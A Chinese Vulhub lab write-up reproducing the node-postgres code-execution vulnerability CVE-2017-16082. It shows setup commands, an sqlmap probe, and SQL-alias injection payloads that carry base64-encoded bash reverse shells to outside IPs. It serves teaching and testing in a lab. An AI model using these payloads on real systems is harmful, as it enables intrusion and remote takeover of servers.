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54 lines
2.1 KiB
Markdown
54 lines
2.1 KiB
Markdown
# node-postgres 代码执行漏洞 CVE-2017-16082
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## 漏洞描述
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node-postgres在处理类型为`Row Description`的postgres返回包时，将字段名拼接到代码中。由于没有进行合理转义，导致一个特殊构造的字段名可逃逸出代码单引号限制，造成代码执行漏洞。
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参考链接：
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- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
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- https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability
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- https://zhuanlan.zhihu.com/p/28575189
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## 环境搭建
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Vulhub编译及运行环境：
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```
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docker-compose build
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docker-compose up -d
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```
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## 漏洞复现
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成功运行后，访问`http://your-ip:3000/?id=1`即可查看到id为1的用户信息。
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用sqlmap即可发现此处存在注入点，且数据库为postgres：
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```
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python sqlmap.py -u http://your-ip:3000/?id=1 --dbs
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```
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那么，我们就可以猜测这里存在node-postgres的代码执行漏洞。编写我想执行的命令`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`，然后适当分割（每段长度不超过64字符）后替换在如下payload中：
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```
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SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3R`+/*", 4 AS "*/`jcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo= |base64 -d|bash`)//"
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SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvd`+/*", 4 AS "*/`GNwLzEwMS40Mi4yMzcuNjEvMjMzMyAwPiYx |base64 -d|bash`)//"
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```
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将上述payload编码后发送：
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成功执行命令，如反弹shell：
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因为复现过程中坑比较多，payload生成与测试过程中如果出现错误，还请多多阅读[P师傅的这篇文章](https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html)，从原理上找到问题所在。
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